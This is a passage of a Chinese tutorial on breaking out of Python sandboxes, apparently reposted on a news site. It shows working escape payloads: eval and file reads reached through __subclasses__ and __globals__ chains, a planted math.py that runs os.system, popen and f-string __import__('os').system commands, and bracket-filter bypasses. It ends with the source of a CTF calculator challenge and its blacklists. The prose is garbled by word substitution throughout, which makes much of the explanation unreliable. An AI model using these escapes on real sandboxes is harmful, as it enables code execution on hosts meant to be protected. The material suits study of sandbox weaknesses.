还可以这样操作:
- class test(dict):
- def __init__(self):
- print(super(test, self).keys.__class__.__call__(eval, '1+1'))
- # 假如是 3.x 的话可以简写为:
- # super().keys.__class__.__call__(eval, '1+1'))
- test()
上面的这些操作方法总结起来就是通过__class__、__mro__、__subclasses__、__bases__等等属性/要领去获取 object,再按照__globals__找引入的__builtins__可能eval等等可以或许直接被操作的库,可能找到builtin_function_or_method类/范例__call__后直接运行eval。
最后,担任链的逃逸尚有一些操作第三方库的方法,好比 jinja2,这类操作方法应该是叫 SSTI,可以看这个:传送门,这里就不多说了。
二、文件读写
2.x 有个内建的 file:
- >>> file('key').read()
- 'Macr0phag3n'
- >>> file('key', 'w').write('Macr0phag3')
- >>> file('key').read()
- 'Macr0phag3'
尚有个 open,2.x 与 3.x 通用。
尚有一些库,譬喻:types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)。
为什么说写比读危害大呢?由于假如能写,可以将相同的文件生涯为math.py,然后 import 进来:
math.py:
- import os
- print(os.system('whoami'))
挪用
- >>> import math
- macr0phag3
- 0
这里必要留意的是,这里 py 文件定名是有能力的。之以是要挑一个常用的尺度库是由于过滤库名也许回收的是白名单。而且之前说过有些库是在sys.modules中有的,这些库无法这样操作,会直接从sys.modules中插手,好比re:
- >>> 're' in sys.modules
- True
- >>> 'math' in sys.modules
- False
- >>>
虽然在import re 之前del sys.modules['re']也不是不行以…
最后,这里的文件定名必要留意的处所和最开始的谁人遍历测试的文件一样:因为待测试的库中有个叫 test的,假如把遍历测试的文件也定名为 test,会导致谁人文件运行 2 次,由于本身 import 了本身。
读文件暂且没什么发明出格的处所。
剩下的就是按照上面的执行体系呼吁回收的绕过要领去探求 payload 了,好比:
- >>> __builtins__.open('key').read()
- 'Macr0phag3n'
可能
- >>> ().__class__.__base__.__subclasses__()[40]('key').read()
- 'Macr0phag3'
三、其他
过滤[、]:这个举动不像是 oj 会做得出来的,ctf 倒是有也许呈现。应对的方法就是将[]的成果用pop 、__getitem__取代(现实上a[0]就是在内部挪用了a.__getitem__(0) ):
- >>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
- 'macr0phag3n'
操作新特征:PEP 498 引入了 f-string,在 3.6 开始呈现:传送门,食用方法:传送门。以是我们就有了一种船新的操作方法:
- >>> f'{__import__("os").system("whoami")}'
- macr0phag3
- '0'
存眷每次版本增进的新特征,或者能淘到点宝物。
序列化相干:序列化也是能用来逃逸,可是关于序列化的安详题目还挺多的,假若偶然刻我再写一篇文章来接头好了。
四、栗子
这个例子来自iscc 2016的Pwn300 pycalc,相等风趣:
- #!/usr/bin/env python2
- # -*- coding:utf-8 -*-
-
- def banner():
- print "============================================="
- print " Simple calculator implemented by python "
- print "============================================="
- return
-
- def getexp():
- return raw_input(">>> ")
-
- def _hook_import_(name, *args, **kwargs):
- module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
- 'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
- 'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
- 'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
- 'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
- 'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
- 'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
- 'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
- 'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
- 'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
- 'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
- 'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
- 'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
- for forbid in module_blacklist:
- if name == forbid: # don't let user import these modules
- raise RuntimeError('No you can' import {0}!!!'.format(forbid))
- # normal modules can be imported
- return __import__(name, *args, **kwargs)
-
- def sandbox_filter(command):
- blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
- '=', 'open', 'read', 'sys', ';', 'os']
- for forbid in blacklist:
- if forbid in command:
- return 0
- return 1
-
- def sandbox_exec(command): # sandbox user input
- result = 0
- __sandboxed_builtins__ = dict(__builtins__.__dict__)
- __sandboxed_builtins__['__import__'] = _hook_import_ # hook import
- del __sandboxed_builtins__['open']
- _global = {
- '__builtins__': __sandboxed_builtins__
- }
- if sandbox_filter(command) == 0:
- print 'Malicious user input detected!!!'
- exit(0)
- command = 'result = ' + command
- try:
- exec command in _global # do calculate in a sandboxed environment
- except Exception, e:
- print e
- return 0
- result = _global['result'] # extract the result
- return result
-
- banner()
- while 1:
- command = getexp()
- print sandbox_exec(command)
(编辑:湖南网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|